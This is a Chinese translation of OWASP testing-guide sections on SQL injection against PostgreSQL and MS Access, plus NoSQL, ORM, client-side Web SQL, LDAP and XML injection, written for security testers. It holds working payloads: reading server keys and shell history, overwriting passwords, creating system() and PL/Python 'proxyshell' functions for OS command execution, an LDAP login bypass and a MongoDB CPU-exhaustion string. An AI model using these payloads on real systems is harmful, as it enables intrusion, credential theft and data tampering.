我们在这里所做的是尝试使用 sa<pwd> 作为凭据连接到本地数据库(由 SQLOLEDB 后面的空字段指定)。如果密码正确且连接成功,查询将被执行,使数据库等待 5 秒(并且由于 OPENROWSET 至少期望返回一列,还会返回一个值)。从密码字典中获取候选密码,并测量每次连接所需的时间,我们就可以尝试猜测正确的密码。David Litchfield 在《Data-mining with SQL Injection and Inference》中进一步推进了这项技术,他通过注入一段代码,利用数据库服务器本身的 CPU 资源来暴力破解系统管理员密码。

一旦我们获得了系统管理员密码,有两种选择:

  • 使用 OPENROWSET 注入所有后续查询,以使用系统管理员权限。
  • 使用 sp_addsrvrolemember 将当前用户添加到系统管理员组。可以通过对 system_user 变量进行推理注入来提取当前用户名。

请记住,在 SQL Server 2000 上,所有用户都可以访问 OPENROWSET,但在 SQL Server 2005 上,它仅限于管理账户。

工具

参考资料

白皮书

测试 PostgreSQL

总结

在本节中,将讨论一些针对 PostgreSQL 的 SQL 注入技术。这些技术具有以下特点:

  • PHP 连接器允许使用分号 ; 作为语句分隔符来执行多条语句。
  • 可以通过追加注释字符 -- 来截断 SQL 语句。
  • SELECT 语句中可以使用 LIMITOFFSET 来检索查询结果集的一部分。

从现在起,假设 https://www.example.com/news.php?id=1 存在 SQL 注入漏洞。

测试方法

识别 PostgreSQL

当发现 SQL 注入漏洞后,需要仔细识别后端数据库引擎。可以通过使用 :: 类型转换操作符来确定后端数据库引擎是否为 PostgreSQL。

示例

https://www.example.com/store.php?id=1 AND 1::int=1

此外,还可以使用 version() 函数获取 PostgreSQL 的版本信息,该信息还会显示底层操作系统的类型和版本。

示例

https://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

可能返回的版本信息示例如下:
PostgreSQL 8.3.1 on i486 - pc - linux - gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3 - 2ubuntu4)

盲注

对于盲 SQL 注入攻击,应考虑以下内置函数:

  • 字符串长度LENGTH(str)
  • 从给定字符串中提取子字符串SUBSTR(str,index,offset)
  • 无单引号的字符串表示CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

从 8.2 版本开始,PostgreSQL 引入了内置函数 pg_sleep(n),用于使当前会话进程休眠 n 秒。可以利用此函数进行时间盲注攻击(详细内容请参考 [盲 SQL 注入](https://owasp.org/www - community/attacks/Blind_SQL_Injection))。

此外,在早期版本中,可以使用 libc 轻松创建自定义的 pg_sleep(n) 函数:
CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

单引号转义处理

可以使用 chr() 函数对字符串进行编码,以防止单引号转义问题。

  • chr(n):返回 ASCII 值为 n 对应的字符。
  • ascii(n):返回字符 n 对应的 ASCII 值。

假设要对字符串 'root' 进行编码:

select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

我们可以将 'root' 编码为:chr(114)||chr(111)||chr(111)||chr(116)

示例

https://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

攻击向量

当前用户

可以使用以下 SQL SELECT 语句来获取当前用户的身份信息:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
示例
https://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
https://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
当前数据库

内置函数 current_database() 可返回当前数据库的名称。

示例

https://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

从文件读取数据

PostgreSQL 提供了两种访问本地文件的方法:

  • COPY 语句
  • pg_read_file() 内部函数(从 PostgreSQL 8.1 版本开始支持)
COPY

该操作符用于在文件和表之间复制数据。PostgreSQL 引擎以 postgres 用户身份访问本地文件系统。

示例
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

数据应通过执行 UNION 查询 SQL 注入 来检索:

  • 检索之前使用 COPY 语句添加到 file_store 表中的行数。
  • 使用 UNION SQL 注入逐行检索数据。
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file()

此函数在 PostgreSQL 8.1 版本中引入,允许读取位于数据库管理系统(DBMS)数据目录内的任意文件。

示例

SELECT pg_read_file('server.key',0,1000);

写入文件

通过反转 COPY 语句,我们可以以 postgres 用户权限写入本地文件系统。

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

命令行注入

PostgreSQL 提供了一种机制,允许使用动态库和脚本语言(如 Python、Perl 和 Tcl)来添加自定义函数。

动态库

在 PostgreSQL 8.1 版本之前,可以添加一个与 libc 链接的自定义函数:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

由于 system 函数返回一个整数,那么我们如何从 system 的标准输出(stdout)获取结果呢?

这里有一个小技巧:

  • 创建一个 stdout 表:CREATE TABLE stdout(id serial, system_out text)
  • 执行一个 shell 命令并将其标准输出重定向:SELECT system('uname -a > /tmp/test')
  • 使用 COPY 语句将前一个命令的输出推送到 stdout 表中:COPY stdout(system_out) FROM '/tmp/test*'
  • stdout 表中检索输出:SELECT system_out FROM stdout
示例
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT --
/store.php?id=1; SELECT system('uname -a > /tmp/test') --
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
PL/Python

PL/Python 允许用户使用 Python 编写 PostgreSQL 函数。它是不受信任的,因此无法限制用户的操作。默认情况下它未安装,可以通过 CREATELANG 在给定的数据库上启用它。

  • 检查数据库是否已启用 PL/Python:SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  • 如果未启用,尝试启用:CREATE LANGUAGE plpythonu
  • 如果上述任何一步成功,创建一个代理 shell 函数:CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • 尽情使用:SELECT proxyshell(操作系统命令);
示例
  • 创建一个代理 shell 函数:/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os;return os.popen(args[0]).read()' LANGUAGE plpythonu;--
  • 运行一个操作系统命令:/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
PL/Perl

PL/Perl 允许我们使用 Perl 编写 PostgreSQL 函数。通常,它作为受信任的语言安装,以禁用与底层操作系统交互的操作(如 open)的运行时执行。这样做的话,就无法获得操作系统级别的访问权限。为了成功注入类似代理 shell 的函数,我们需要以 postgres 用户身份安装不受信任的版本,以避免所谓的受信任/不受信任操作的应用程序掩码过滤。

  • 检查是否已启用 PL/Perl 不受信任版本:SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  • 如果未启用,假设系统管理员已经安装了 plperl 包,尝试:CREATE LANGUAGE plperlu
  • 如果上述任何一步成功,创建一个代理 shell 函数:CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  • 尽情使用:SELECT proxyshell(操作系统命令);
示例
  • 创建一个代理 shell 函数:/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  • 运行一个操作系统命令:/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

参考资料

对 Microsoft Access 进行测试

总结

正如通用的SQL注入章节所阐述的,只要在构建SQL查询时使用了用户提供的输入,却未对其进行充分限制或清理,就会出现SQL注入漏洞。此类漏洞能让攻击者以连接数据库所用用户的权限来执行SQL代码。本节将探讨利用Microsoft Access特定特性的相关SQL注入技术。

测试方法

识别数据库类型

在测试基于SQL的应用程序时,识别具体的数据库技术是正确评估潜在漏洞的首要步骤。一种常见方法是注入标准的SQL注入攻击模式(例如单引号、双引号等),以此触发数据库异常。假设应用程序没有使用自定义页面来处理异常,那么通过观察错误消息就能识别底层的数据库管理系统(DBMS)。

依据所使用的具体网络技术,由MS Access驱动的应用程序会返回以下错误之一:

  • Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine
  • Microsoft JET Database Engine error '80040e14'
  • Microsoft Office Access Database Engine

在所有这些情况下,我们就能确定正在测试的是一个使用MS Access数据库的应用程序。

基础测试

遗憾的是,MS Access不支持SQL注入测试中常用的典型操作符,其中包括:

  • 没有注释字符
  • 不支持堆叠查询
  • 没有LIMIT操作符
  • 没有类似SLEEP或BENCHMARK的操作符
  • 以及其他很多操作符

不过,可通过组合多个操作符或采用替代技术来模拟这些功能。前面提到过,不能使用插入 /*--# 字符来截断查询的技巧。但幸运的是,我们可以通过注入一个“空”字符来绕过这一限制。在SQL查询中使用空字节 %00 会使MS Access忽略所有剩余字符。这可以这样理解:在数据库使用的内部表示中,所有字符串都是以NULL结尾的。值得一提的是,“空”字符有时也会引发问题,因为它可能会在Web服务器层面截断字符串。在这种情况下,我们可以使用另一个字符:0x16(URL编码格式为 %16)。

考虑以下查询:

SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'

我们可以使用以下两个URL来截断查询:

  • https://www.example.com/page.asp?user=admin'%00&pass=foo
  • https://www.example.com/page.app?user=admin'%16&pass=foo

MS Access没有实现LIMIT操作符,但可以使用TOP或LAST操作符来限制结果数量。

https://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00

通过组合使用这两个操作符,就能够选择特定的结果。使用 & (%26)+ (%2b) 字符可以进行字符串拼接。

在测试SQL注入时,还可以使用许多其他函数,包括但不限于:

  • ASC:获取作为输入传入的字符的ASCII值。
  • CHR:获取作为输入传入的ASCII值对应的字符。
  • LEN:返回作为参数传入的字符串的长度。
  • IIF:即IF结构,例如 IIF(1=1, 'a', 'b') 这个语句会返回 a
  • MID:该函数可用于提取子字符串,例如 mid('abc',1,1) 这个语句会返回 a
  • TOP:该函数可用于指定查询应从顶部返回的最大结果数。例如 TOP 1 只会返回1行。
  • LAST:该函数用于仅选择一组行中的最后一行。例如 SELECT last(*) FROM users 这个查询只会返回结果中的最后一行。

其中一些操作符对于利用盲SQL注入至关重要。有关其他高级操作符,请参考参考文献中的文档。

属性枚举

为了枚举数据库表的列,可以使用一种常见的基于错误的技术。简而言之,我们可以通过分析错误消息并使用不同的选择器重复查询来获取属性名称。例如,假设我们知道某一列的存在,就可以使用以下查询获取其余属性的名称:

' GROUP BY Id%00

在收到的错误消息中,能够观察到下一列的名称。此时,我们可以迭代这个方法,直到获取所有属性的名称。如果我们不知道第一个属性的名称,仍然可以插入一个虚构的列名,并在错误消息中获取第一个属性的名称。

获取数据库架构

MS Access默认存在各种系统表,这些表有可能用于获取表名和列名。遗憾的是,在最近版本的MS Access数据库的默认配置中,这些表是不可访问的。不过,始终值得一试:

  • MSysObjects
  • MSysACEs
  • MSysAccessXML

例如,如果存在联合SQL注入漏洞,可以使用以下查询:

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

或者,始终可以使用标准的单词列表(例如 FuzzDb)来暴力破解数据库架构。

在某些情况下,开发人员或系统管理员可能没有意识到,将实际的 .mdb 文件包含在应用程序的Web根目录中会允许下载整个数据库。可以使用以下查询推断数据库文件名:

https://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00

其中 name.mdb 文件名,table 是有效的数据库表。如果数据库设有密码保护,可以使用多种软件工具来破解密码。请参考参考文献。

盲 SQL 注入测试

盲 SQL 注入漏洞在测试实际应用程序时,绝不是最容易被利用的 SQL 注入类型。对于较新版本的 Microsoft Access 数据库,执行 shell 命令或读写任意文件也是不可行的。

在进行盲 SQL 注入时,攻击者只能通过评估时间差异或应用程序响应来推断查询结果。这里假设读者已经了解盲 SQL 注入攻击背后的原理,本节的其余部分将重点介绍针对 Microsoft Access 的特定细节。

以下是一个示例:

https://www.example.com/index.php?myId=[sql]

其中,myId 参数在以下查询中使用:

SELECT * FROM orders WHERE [id]=$myId

假设 myId 参数存在盲 SQL 注入漏洞。作为攻击者,假设我们已经知晓数据库架构,现在想要提取 users 表中 username 列的内容。

可以使用以下典型查询来推断第 10 行用户名的第一个字符:

https://www.example.com/index.php?id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users)='a',0,'no')

如果第一个字符是 a,查询将返回 0;否则,返回字符串 no

通过结合使用 IFFMIDLASTTOP 函数,可以提取特定行上用户名的第一个字符。由于内部查询返回的是一组记录,而不是单条记录,因此不能直接使用。幸运的是,我们可以组合多个函数来提取特定字符串。

假设我们想要检索第 10 行的用户名。首先,我们可以使用 TOP 函数通过以下查询选择前 10 行:

SELECT TOP 10 username FROM users

然后,使用这个子集,我们可以使用 LAST 函数提取最后一行。一旦我们只得到一行,并且恰好是包含我们所需字符串的那一行,就可以使用 IFFMIDLAST 函数来推断用户名的实际值。在我们的示例中,我们使用 IFF 函数返回一个数字或字符串。通过观察应用程序的错误响应,我们可以利用这个技巧来区分响应是否为真。由于 id 是数字类型,与字符串进行比较会导致 SQL 错误,这个错误可能会通过 500 内部服务器错误页面 泄露出来。否则,很可能会返回标准的 200 OK 页面。

例如,我们可以使用以下查询:

https://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users))='a','a','b')%00

如果第一个字符是 a,该查询为 TRUE;否则为 FALSE

如前所述,这种方法允许我们推断数据库中任意字符串的值:

  1. 尝试所有可打印的值,直到找到匹配项。
  2. 使用 LEN 函数推断字符串的长度,或者在找到所有字符后停止。

通过滥用复杂查询,也可以进行基于时间的盲 SQL 注入。

参考资料

测试 NoSQL 注入

总结

NoSQL 数据库相较于传统 SQL 数据库,在一致性约束方面更为宽松。由于所需的关系约束和一致性检查较少,NoSQL 数据库通常在性能和扩展性方面具有优势。然而,即使这些数据库不使用传统的 SQL 语法,它们仍然可能受到注入攻击。由于这些 NoSQL 注入攻击可能在过程式语言中执行,而非在声明式 SQL 语言中执行,其潜在影响可能比传统 SQL 注入更大。

NoSQL 数据库调用可以用应用程序的编程语言编写,也可以通过自定义 API 调用,或者按照常见约定(如 XMLJSONLINQ 等)进行格式化。针对这些规范的恶意输入可能不会触发应用程序的主要输入清理检查。例如,过滤常见的 HTML 特殊字符(如 < > & ;)并不能防止对 JSON API 的攻击,因为 JSON API 中的特殊字符包括 / { } :

应用程序中可供使用的 NoSQL 数据库有数百种,它们提供了多种语言和关系模型的 API。每种数据库都有不同的特性和限制。由于它们之间没有通用语言,示例注入代码无法适用于所有 NoSQL 数据库。因此,任何测试 NoSQL 注入攻击的人员都需要熟悉目标数据库的语法、数据模型和底层编程语言,以便设计特定的测试用例。

NoSQL 注入攻击可能在应用程序的不同区域执行,这与传统 SQL 注入不同。SQL 注入通常在数据库引擎中执行,而 NoSQL 注入可能在应用层或数据库层执行,具体取决于所使用的 NoSQL API 和数据模型。通常,NoSQL 注入攻击会在攻击字符串被解析、评估或拼接成 NoSQL API 调用的地方执行。

此外,由于 NoSQL 数据库缺乏并发检查,时间攻击可能也与之相关,但这些内容不在注入测试的讨论范围内。在撰写本文时,MongoDB 是使用最广泛的 NoSQL 数据库,因此所有示例都将使用 MongoDB API。

如何测试

测试 MongoDB 中的 NoSQL 注入漏洞

MongoDB API 期望接收 BSON(二进制 JSON)调用,并提供了一个安全的 BSON 查询组装工具。然而,根据 MongoDB 文档,未序列化的 JSON 和JavaScript 表达式在几个替代查询参数中是允许使用的。最常用的允许任意 JavaScript 输入的 API 调用是 $where 运算符。

MongoDB 的 $where 运算符通常用作简单的过滤器或检查,类似于 SQL 中的用法。

db.myCollection.find( { $where: "this.credits == this.debits" } );

也可以选择计算 JavaScript 代码以实现更复杂的条件。

db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );

示例 1

如果攻击者能够操纵传递给 $where 运算符的数据,他们可以在 MongoDB 查询中包含任意 JavaScript 代码。如果用户输入未经清理就直接传递到 MongoDB 查询中,以下代码就会暴露出一个漏洞示例。

db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );

与测试其他类型的注入一样,为了证明存在问题,测试人员不需要完全利用该漏洞。通过注入与目标 API 语言相关的特殊字符并观察结果,测试人员可以确定应用程序是否正确清理了输入。例如,在 MongoDB 中,如果一个包含以下任何特殊字符的字符串未经清理就被传递,就会触发数据库错误。

' " \ ; { }

在传统 SQL 注入中,类似的漏洞会使攻击者能够执行任意 SQL 命令,从而随意暴露或操纵数据。然而,由于 JavaScript 是一种功能完备的语言,这不仅允许攻击者操纵数据,还可以运行任意代码。例如,在测试时,除了导致错误外,完整的攻击会使用特殊字符构造有效的 JavaScript 代码。

将输入 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000) 插入到上述示例代码的 $userInput 中,会导致执行以下 JavaScript 函数。这个特定的攻击字符串会使整个 MongoDB 实例在 10 秒内以 100% 的 CPU 使用率运行。

function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }

示例 2

即使查询中使用的输入完全经过清理或参数化,仍然可能存在另一种触发 NoSQL 注入的途径。许多 NoSQL 实例都有自己的保留变量名,这些名称与应用程序编程语言无关。

例如,在 MongoDB 中,$where 语法本身是一个保留查询运算符。必须按照所示的方式将其传递到查询中,任何更改都会导致数据库错误。然而,由于 $where 也是一个有效的 PHP 变量名,攻击者可能会通过创建一个名为 $where 的 PHP 变量来将代码插入到查询中。PHP MongoDB 文档明确警告开发者:

请确保对于所有以 $ 开头的特殊查询运算符,使用单引号,这样 PHP 就不会尝试将 $exists 替换为变量 $exists 的值。

即使查询不依赖于用户输入,如以下示例所示,攻击者也可以通过用恶意数据替换运算符来利用 MongoDB。

db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );

一种可能的向 PHP 变量赋值的方法是通过 HTTP 参数污染(参见:测试 HTTP 参数污染)。通过参数污染创建一个名为 $where 的变量,可以触发一个 MongoDB 错误,表明查询不再有效。任何不等于字符串 $where 本身的 $where 值都足以证明存在漏洞。攻击者可以通过插入以下内容来开发完整的攻击:

$where: function() { // 这里插入任意 JavaScript 代码 }

参考资料

注入负载

白皮书

测试对象关系映射(ORM)注入

概述

对象关系映射(ORM)注入 是一种针对 ORM 生成的数据访问对象模型实施的 SQL 注入攻击。从测试人员的角度来看,这种攻击实际上与 SQL 注入攻击相同。不过,注入漏洞存在于 ORM 层生成的代码中。

使用 ORM 工具的好处包括能够快速生成与关系数据库进行通信的对象层、标准化这些对象的代码模板,并且它们通常会提供一组安全函数来防范 SQL 注入攻击。ORM 生成的对象可以使用 SQL,或者在某些情况下使用 SQL 的变体,对数据库执行 CRUD(创建、读取、更新、删除)操作。然而,如果使用 ORM 生成对象的 Web 应用程序的方法可以接受未经清理的输入参数,那么该应用程序就可能容易受到 SQL 注入攻击。

如何测试

ORM 层可能容易出现漏洞,因为它们扩大了攻击面。与直接使用 SQL 查询针对应用程序进行攻击不同,你需要专注于滥用 ORM 层来发送恶意 SQL 查询。

识别 ORM 层

为了有效地测试并了解请求与后端查询之间的交互情况,并且与进行正确测试的所有相关工作一样,识别所使用的技术至关重要。通过遵循 信息收集 章节的内容,你应该了解当前应用程序所使用的技术。请查看 将编程语言与各自的 ORM 进行映射的列表

滥用 ORM 层

在识别出可能使用的 ORM 之后,了解其解析器的工作原理并研究滥用它的方法就变得至关重要。或者,如果应用程序使用的是旧版本,还可以识别与所使用的库相关的 CVE。有时,ORM 层的实现并不正确,这样测试人员就可以在不考虑 ORM 层的情况下进行常规的 SQL 注入

ORM 实现薄弱

以下是一个 ORM 层实现不当的易受攻击场景,该示例来自 SANS

List results = session.createQuery("from Orders as orders where orders.id = " + currentOrder.getId()).list();
List results = session.createSQLQuery("Select * from Books where author = " + book.getAuthor()).list();

上述代码没有实现位置参数,而位置参数允许开发人员用 ? 替换输入。示例如下:

Query hqlQuery = session.createQuery("from Orders as orders where orders.id = ?");
List results = hqlQuery.setString(0, "123 - ADB - 567 - QTWYTFDL").list(); // 0 是第一个位置,它会被设置的字符串动态替换

这种实现方式将验证和清理工作留给了 ORM 层,绕过它的唯一方法是识别 ORM 层的问题。

易受攻击的 ORM 层

ORM 层通常是第三方库代码。它们和其他任何代码一样,都可能存在漏洞。例如,sequelize ORM npm 库 在 2019 年被发现存在漏洞。RIPS Tech 进行的另一项研究中,发现 Java 使用的 Hibernate ORM 存在绕过漏洞。

根据他们的 博客文章,可以为测试人员列出一个有助于识别问题的备忘单:

数据库管理系统(DBMS)SQL 注入示例
MySQLabc\' INTO OUTFILE --

| PostgreSQL | $$='$$=chr(61) || chr(0x27) and 1=pg_sleep(2) || version()' |
| Oracle | NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' |
| MS SQL | 1<LEN(%C2%A0(select%C2%A0top%C2%A01%C2%A0name%C2%A0from%C2%A0users) |

另一个例子是 Laravel 查询构建器,它在 2019 年被发现 存在漏洞

参考资料

客户端测试

概述

当应用程序采用Web SQL数据库技术,却未对输入进行适当验证,也未对查询变量进行参数化处理时,就会发生客户端SQL注入攻击。该数据库通过JavaScript(JS)API调用进行操作,例如openDatabase(),此方法可创建或打开一个现有的数据库。

测试目标

以下测试场景将验证是否进行了适当的输入验证。若应用程序存在漏洞,攻击者便能够读取、修改或删除数据库中存储的信息。

测试方法

识别Web SQL数据库的使用情况

若被测应用程序使用了Web SQL数据库,那么客户端核心代码中会出现以下三个调用:

  • openDatabase()
  • transaction()
  • executeSQL()

以下代码展示了这些API的实现示例:

var db = openDatabase(shortName, version, displayName, maxSize);

db.transaction(function(transaction) {
    transaction.executeSql('INSERT INTO LOGS (time, id, log) VALUES (?, ?, ?)', [dateTime, id, log]);
});

Web SQL数据库注入

确认使用了executeSQL()之后,攻击者就可以对其实现的安全性进行测试和验证。

Web SQL数据库的实现基于SQLite的语法

绕过条件

以下示例展示了如何在客户端利用此漏洞:

// URL示例: https://example.com/user#15
var userId = document.location.hash.substring(1,); // 提取不含哈希符号的ID -> 15

db.transaction(function(transaction){
    transaction.executeSQL('SELECT * FROM users WHERE user = ' + userId);
});

为了返回所有用户的信息,而非仅对应攻击者的用户信息,可在URL片段中使用15 OR 1=1

注意: 在将条件OR 1=1注入SQL查询时需谨慎。尽管在初始注入的上下文中可能无害,但应用程序通常会在多个不同的查询中使用来自单个请求的数据。例如,如果该条件进入了UPDATE或DELETE语句,可能会导致意外的数据丢失。

有关更多SQL注入攻击的有效载荷,请参考SQL注入测试场景。

修复建议

请遵循SQL注入测试的修复部分中的相同修复建议。

参考资料

输入验证测试 - LDAP注入测试

编号
WSTG - INPV - 06

概述

轻量级目录访问协议(LDAP)用于存储有关用户、主机和许多其他对象的信息。LDAP注入是一种服务器端攻击,攻击者可以通过操纵随后传递给内部搜索、添加和修改函数的输入参数,来泄露、修改或插入LDAP结构中所表示的有关用户和主机的敏感信息。

Web应用程序可能会使用LDAP来让用户进行身份验证,或者在企业结构中搜索其他用户的信息。LDAP注入攻击的目标是在应用程序执行的查询中注入LDAP搜索过滤器元字符。

Rfc2254定义了如何在LDAPv3上构建搜索过滤器的语法,并扩展了Rfc1960(LDAPv2)。

LDAP搜索过滤器采用波兰表示法构建,也称为前缀表示法

这意味着像这样的搜索过滤器中的伪代码条件:

find("cn=John & userPassword=mypass")

将表示为:

find("(&(cn=John)(userPassword=mypass))")

可以使用以下元字符在LDAP搜索过滤器上应用布尔条件和组聚合:

元字符含义
&布尔与
|布尔或
!布尔非
=等于
~=约等于
>=大于
<=小于
*任意字符
()分组括号

有关如何构建搜索过滤器的更完整示例可以在相关的RFC中找到。

成功利用LDAP注入漏洞可能使测试人员能够:

  • 访问未授权的内容
  • 绕过应用程序限制
  • 收集未授权的信息
  • 在LDAP树结构中添加或修改对象

测试目标

  • 识别LDAP注入点。
  • 评估注入的严重程度。

测试方法

示例1:搜索过滤器

假设我们有一个Web应用程序使用如下搜索过滤器:

searchfilter="(cn=" + user + ")"

它通过如下HTTP请求实例化:

https://www.example.com/ldapsearch?user=John

如果将值 John 替换为 *,发送请求:

https://www.example.com/ldapsearch?user=*

则过滤器将变为:

searchfilter="(cn=*)"

这将匹配所有 cn 属性为任意值的对象。

如果应用程序存在LDAP注入漏洞,根据应用程序的执行流程和LDAP连接用户的权限,它将显示部分或所有用户的属性。

测试人员可以采用试错法,在参数中插入 (|&* 等字符,以检查应用程序是否报错。

示例2:登录

如果Web应用程序在登录过程中使用LDAP来检查用户凭据,并且存在LDAP注入漏洞,则可以通过注入一个始终为真的LDAP查询来绕过身份验证检查(类似于SQL和XPATH注入)。

假设一个Web应用程序使用一个过滤器来匹配LDAP用户/密码对:

searchlogin = "(&(uid=" + user + ")(userPassword={MD5}" + base64(pack("H*", md5(pass))) + "))";

使用以下值:

user=*)(uid=*))(|(uid=*
pass=password

搜索过滤器将变为:

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

这个过滤器是合法的,并且始终为真。这样,测试人员将以LDAP树中的第一个用户身份登录。

工具

参考资料

白皮书

输入验证测试:XML注入测试

编号
WSTG-INPV-07

总结

XML注入测试是指测试人员尝试向应用程序注入XML文档。如果XML解析器未能对数据进行上下文验证,测试结果将为阳性。

本节描述了XML注入的实际示例。首先,将定义XML风格的通信并解释其工作原理。然后,介绍发现方法,即尝试插入XML元字符。完成第一步后,测试人员将获得一些关于XML结构的信息,从而可以尝试注入XML数据和标签(标签注入)。

测试目标

  • 识别XML注入点。
  • 评估可实施的攻击类型及其严重程度。

测试方法

假设存在一个使用XML风格通信进行用户注册的Web应用程序。这是通过在xmlDb文件中创建并添加一个新的<user>节点来实现的。

假设xmlDB文件如下所示:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
</users>

当用户通过填写HTML表单进行注册时,应用程序会在标准请求中接收用户数据。为简单起见,假设该请求以GET请求的形式发送。

例如,以下值:

用户名:tony
密码:Un6R34kb!e
电子邮件:s4tan@hell.com

将产生以下请求:
https://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

然后,应用程序会构建以下节点:

<user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

该节点将被添加到xmlDB中:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>

发现阶段

测试应用程序是否存在XML注入漏洞的第一步是尝试插入XML元字符。

XML元字符包括:

  • 单引号:' - 如果未对该字符进行清理,当注入的值将成为标签中的属性值时,在XML解析过程中可能会引发异常。

例如,假设有以下属性:
<node attrib='$inputValue'/>

因此,如果:
inputValue = foo'
被实例化并作为attrib的值插入:
<node attrib='foo''/>
那么,生成的XML文档格式不正确。

  • 双引号:" - 该字符与单引号具有相同的含义,如果属性值用双引号括起来,则可以使用该字符。

<node attrib="$inputValue"/>

因此,如果:
$inputValue = foo"
进行替换后得到:
<node attrib="foo""/>
生成的XML文档无效。

  • 尖括号:>< - 通过在用户输入中添加左尖括号或右尖括号,如下所示:
    用户名 = foo<
    应用程序将构建一个新节点:
<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

但是,由于存在左尖括号<,生成的XML文档无效。

  • 注释标签:<!--/--> - 该字符序列被解释为注释的开始/结束。因此,通过在Username参数中注入其中一个标签:
    用户名 = foo<!--
    应用程序将构建如下节点:
<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

这将不是一个有效的XML序列。

  • 与符号:& - 在XML语法中,与符号用于表示实体。实体的格式为&symbol;。实体被映射到Unicode字符集中的一个字符。

例如:
<tagnode>&lt;</tagnode>
格式正确且有效,表示ASCII字符<

如果&本身未用&amp;进行编码,则可以用于测试XML注入。

实际上,如果提供以下输入:
用户名 = &foo
将创建一个新节点:

<user>
    <username>&foo</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

但是,该文档仍然无效:&foo没有以;结尾,并且&foo;实体未定义。

  • CDATA节分隔符:<!\[CDATA\[ / ]]> - CDATA节用于转义包含可能被识别为标记的字符的文本块。换句话说,CDATA节中包含的字符不会被XML解析器解析。

例如,如果需要在文本节点中表示字符串<foo>,可以使用CDATA节:

<node>
    <![CDATA[<foo>]]>
</node>

